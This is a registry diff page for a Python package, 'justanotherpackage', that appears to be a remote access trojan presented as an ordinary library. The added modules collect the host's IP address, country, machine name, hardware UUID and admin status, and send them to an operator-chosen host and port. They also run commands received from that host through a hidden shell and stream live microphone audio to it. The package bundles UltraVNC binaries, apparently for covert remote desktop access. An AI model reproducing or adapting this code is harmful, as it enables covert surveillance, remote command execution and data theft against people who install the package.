justanotherpackage 0.1.9__tar.gz → 0.2.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/PKG-INFO +1 -1
- justanotherpackage-0.2.0/justanotherpackage/account_type.py +10 -0
- justanotherpackage-0.2.0/justanotherpackage/audio.py +16 -0
- justanotherpackage-0.2.0/justanotherpackage/connect.py +93 -0
- justanotherpackage-0.2.0/justanotherpackage/terminal.py +18 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage.egg-info/PKG-INFO +1 -1
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage.egg-info/SOURCES.txt +4 -1
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/setup.py +1 -1
- justanotherpackage-0.1.9/justanotherpackage/connect.py +0 -92
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/MANIFEST.in +0 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage/__init__.py +0 -0
- /justanotherpackage-0.1.9/justanotherpackage/core.py → /justanotherpackage-0.2.0/justanotherpackage/shell.py +0 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage/vnc/SecureVNCPlugin.dsm +0 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll +0 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf +0 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat +0 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage/vnc/UltraVNC.ini +0 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage/vnc/ddengine.dll +0 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage/vnc/logging.dll +0 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage/vnc/vnchooks.dll +0 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage/vnc/winvnc.exe +0 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage.egg-info/dependency_links.txt +0 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage.egg-info/top_level.txt +0 -0
- {justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/setup.cfg +0 -0
@@ -0,0 +1,16 @@
|
|
1
|
+
import pyaudio
|
2
|
+
|
3
|
+
def start_audio_stream(client_socket):
|
4
|
+
p = pyaudio.PyAudio()
|
5
|
+
stream = p.open(format=pyaudio.paInt16,
|
6
|
+
channels=1,
|
7
|
+
rate=44100,
|
8
|
+
input=True,
|
9
|
+
frames_per_buffer=1024)
|
10
|
+
|
11
|
+
while True:
|
12
|
+
try:
|
13
|
+
audio_data = stream.read(1024)
|
14
|
+
client_socket.sendall(audio_data)
|
15
|
+
except Exception as e:
|
16
|
+
break
|
@@ -0,0 +1,93 @@
|
|
1
|
+
import socket
|
2
|
+
import time
|
3
|
+
import platform
|
4
|
+
import requests
|
5
|
+
from wmi import WMI
|
6
|
+
import json
|
7
|
+
import threading
|
8
|
+
from .shell import create_shell
|
9
|
+
from .audio import start_audio_stream
|
10
|
+
from .terminal import terminal
|
11
|
+
from .account_type import check_account_type
|
12
|
+
|
13
|
+
def get_client_info():
|
14
|
+
system = platform.system()
|
15
|
+
version = platform.version().split('.')[0]
|
16
|
+
os = f"{system} {version}"
|
17
|
+
try:
|
18
|
+
response = requests.get('https://ipv4.jsonip.com', timeout=5)
|
19
|
+
data = response.json()
|
20
|
+
ip = data.get('ip')
|
21
|
+
response = requests.get(f'https://api.findip.net/{ip}/?token=000e63e9964845a693b5dcd40dfd6a9d', timeout=5)
|
22
|
+
data = response.json()
|
23
|
+
country_en = data['country']['names']['en']
|
24
|
+
except:
|
25
|
+
ip = None
|
26
|
+
country_en = None
|
27
|
+
|
28
|
+
shell, stdout_queue, stderr_queue = create_shell()
|
29
|
+
|
30
|
+
client_info = {
|
31
|
+
"new_client": {
|
32
|
+
"IP": ip,
|
33
|
+
"PC Name": platform.node(),
|
34
|
+
"PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
|
35
|
+
"OS": os,
|
36
|
+
"Account Type": check_account_type(),
|
37
|
+
"Country": country_en,
|
38
|
+
},
|
39
|
+
"shell": shell,
|
40
|
+
"stdout_queue": stdout_queue,
|
41
|
+
"stderr_queue": stderr_queue
|
42
|
+
}
|
43
|
+
return client_info
|
44
|
+
|
45
|
+
def start_connection(HOST, PORT):
|
46
|
+
client_info = None
|
47
|
+
shell = None
|
48
|
+
stdout_queue = None
|
49
|
+
stderr_queue = None
|
50
|
+
|
51
|
+
while True:
|
52
|
+
try:
|
53
|
+
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
54
|
+
client_socket.connect((HOST, PORT))
|
55
|
+
|
56
|
+
if client_info is None:
|
57
|
+
client_info = get_client_info()
|
58
|
+
shell = client_info.pop('shell')
|
59
|
+
stdout_queue = client_info.pop('stdout_queue')
|
60
|
+
stderr_queue = client_info.pop('stderr_queue')
|
61
|
+
|
62
|
+
client_info_json = json.dumps(client_info)
|
63
|
+
client_socket.sendall(client_info_json.encode('utf-8'))
|
64
|
+
|
65
|
+
while True:
|
66
|
+
data = client_socket.recv(1024).decode('utf-8').strip()
|
67
|
+
if not data:
|
68
|
+
break
|
69
|
+
|
70
|
+
try:
|
71
|
+
data = json.loads(data)
|
72
|
+
except json.JSONDecodeError:
|
73
|
+
continue
|
74
|
+
|
75
|
+
if data.get("audiostream") is not None:
|
76
|
+
thread = threading.Thread(target=start_audio_stream, args=(client_socket,))
|
77
|
+
thread.daemon = True
|
78
|
+
thread.start()
|
79
|
+
|
80
|
+
elif data.get("terminal") is not None:
|
81
|
+
thread = threading.Thread(target=terminal, args=(data, client_socket, shell, stdout_queue, stderr_queue))
|
82
|
+
thread.daemon = True
|
83
|
+
thread.start()
|
84
|
+
|
85
|
+
except (socket.error, ConnectionResetError):
|
86
|
+
time.sleep(1)
|
87
|
+
continue
|
88
|
+
except Exception as e:
|
89
|
+
time.sleep(1)
|
90
|
+
continue
|
91
|
+
finally:
|
92
|
+
if client_socket:
|
93
|
+
client_socket.close()
|
@@ -0,0 +1,18 @@
|
|
1
|
+
import time
|
2
|
+
|
3
|
+
def terminal(data, client_socket, shell, stdout_queue, stderr_queue):
|
4
|
+
command = data["terminal"]
|
5
|
+
|
6
|
+
shell.stdin.write(command + "\n")
|
7
|
+
shell.stdin.flush()
|
8
|
+
|
9
|
+
time.sleep(0.5)
|
10
|
+
output = ""
|
11
|
+
|
12
|
+
while not stdout_queue.empty() or not stderr_queue.empty():
|
13
|
+
while not stdout_queue.empty():
|
14
|
+
output += stdout_queue.get_nowait()
|
15
|
+
while not stderr_queue.empty():
|
16
|
+
output += stderr_queue.get_nowait()
|
17
|
+
|
18
|
+
client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")
|
{justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage.egg-info/SOURCES.txt
RENAMED
@@ -1,8 +1,11 @@
|
|
1
1
|
MANIFEST.in
|
2
2
|
setup.py
|
3
3
|
justanotherpackage/__init__.py
|
4
|
+
justanotherpackage/account_type.py
|
5
|
+
justanotherpackage/audio.py
|
4
6
|
justanotherpackage/connect.py
|
5
|
-
justanotherpackage/
|
7
|
+
justanotherpackage/shell.py
|
8
|
+
justanotherpackage/terminal.py
|
6
9
|
justanotherpackage.egg-info/PKG-INFO
|
7
10
|
justanotherpackage.egg-info/SOURCES.txt
|
8
11
|
justanotherpackage.egg-info/dependency_links.txt
|
@@ -1,92 +0,0 @@
|
|
1
|
-
|
2
|
-
import socket
|
3
|
-
import time
|
4
|
-
import platform
|
5
|
-
import ctypes
|
6
|
-
import requests
|
7
|
-
from wmi import WMI
|
8
|
-
from .core import create_shell
|
9
|
-
import json
|
10
|
-
|
11
|
-
def check_account_type():
|
12
|
-
try:
|
13
|
-
if ctypes.windll.shell32.IsUserAnAdmin() != 0:
|
14
|
-
return "Admin"
|
15
|
-
else:
|
16
|
-
return "User"
|
17
|
-
except Exception:
|
18
|
-
return "None"
|
19
|
-
|
20
|
-
def get_client_info():
|
21
|
-
system = platform.system()
|
22
|
-
version = platform.version().split('.')[0]
|
23
|
-
os = f"{system} {version}"
|
24
|
-
response = requests.get('https://ipv4.jsonip.com', timeout=5)
|
25
|
-
data = response.json()
|
26
|
-
ip = data.get('ip')
|
27
|
-
response = requests.get(f'https://api.findip.net/{ip}/?token=000e63e9964845a693b5dcd40dfd6a9d', timeout=5)
|
28
|
-
data = response.json()
|
29
|
-
country_en = data['country']['names']['en']
|
30
|
-
|
31
|
-
client_info = { "new_client": {
|
32
|
-
"IP": ip,
|
33
|
-
"PC Name": platform.node(),
|
34
|
-
"PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
|
35
|
-
"OS": os,
|
36
|
-
"Account Type": check_account_type(),
|
37
|
-
"Country": country_en,
|
38
|
-
"Tag": "Remote PC",
|
39
|
-
}
|
40
|
-
}
|
41
|
-
return client_info
|
42
|
-
|
43
|
-
def start_connection(HOST, PORT):
|
44
|
-
while True:
|
45
|
-
try:
|
46
|
-
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
47
|
-
client_socket.connect((HOST, PORT))
|
48
|
-
client_info = get_client_info()
|
49
|
-
client_socket.sendall(str(client_info).encode('utf-8'))
|
50
|
-
|
51
|
-
while True:
|
52
|
-
data = client_socket.recv(1024).decode('utf-8').strip()
|
53
|
-
if not data:
|
54
|
-
break
|
55
|
-
|
56
|
-
if data.get("terminal") is not None:
|
57
|
-
terminal(data, client_socket)
|
58
|
-
|
59
|
-
except (socket.error, ConnectionResetError):
|
60
|
-
time.sleep(1)
|
61
|
-
|
62
|
-
finally:
|
63
|
-
client_socket.close()
|
64
|
-
|
65
|
-
|
66
|
-
def terminal(data, client_socket):
|
67
|
-
shell, stdout_queue, stderr_queue = create_shell()
|
68
|
-
|
69
|
-
if isinstance(data, str):
|
70
|
-
try:
|
71
|
-
data = json.loads(data)
|
72
|
-
except json.JSONDecodeError:
|
73
|
-
data = data
|
74
|
-
else:
|
75
|
-
data = json.dumps(data)
|
76
|
-
|
77
|
-
data = data["terminal"]
|
78
|
-
|
79
|
-
shell.stdin.write(data + "\n")
|
80
|
-
shell.stdin.flush()
|
81
|
-
|
82
|
-
time.sleep(0.5)
|
83
|
-
output = ""
|
84
|
-
|
85
|
-
while not stdout_queue.empty() or not stderr_queue.empty():
|
86
|
-
while not stdout_queue.empty():
|
87
|
-
output += stdout_queue.get_nowait()
|
88
|
-
while not stderr_queue.empty():
|
89
|
-
output += stderr_queue.get_nowait()
|
90
|
-
|
91
|
-
client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")
|
92
|
-
shell.terminate()
|
File without changes
|
File without changes
|
File without changes
|
{justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage/vnc/SecureVNCPlugin.dsm
RENAMED
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
{justanotherpackage-0.1.9 → justanotherpackage-0.2.0}/justanotherpackage.egg-info/top_level.txt
RENAMED
File without changes
|
File without changes
|